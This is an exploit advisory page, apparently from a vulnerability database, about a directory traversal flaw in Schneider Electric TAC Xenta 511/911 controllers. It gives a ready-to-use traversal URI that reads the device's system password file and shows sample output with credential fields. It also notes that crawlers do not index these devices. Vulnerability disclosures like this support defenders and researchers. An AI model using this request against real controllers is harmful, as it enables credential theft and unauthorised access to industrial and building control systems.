TAC Xenta 511/911 Directory Traversal

2018.05.31

Marek Cybul (PL)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-22

# Exploit Title: TAC Xenta 511 and 911 Credentials Disclosure
# Date: 25.05.2018
# Exploit Author: Marek Cybul
# Vendor Homepage:
https://download.schneider-electric.com/files?p_File_Name=TAC_Xenta_911_SDS-XENTA911.pdf
# Version: 5.17
# Schneider Electric TAC Xenta 911 and 511 PLCs
Directory traversal in help manuals allows for credentials extraction
Devices are not indexed by crawlers like Shodan or Censys due to
ancient SSL configuration,
needed to use old browser to support it (not even s_client, curl or
ncat could connect).
Example URI: /www/help/public/../../../sys/pswd
vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
HTTP/1.0 200 OK
root
super user
/
/
/
password
0
900
3

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

TAC Xenta 511/911 Directory Traversal

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.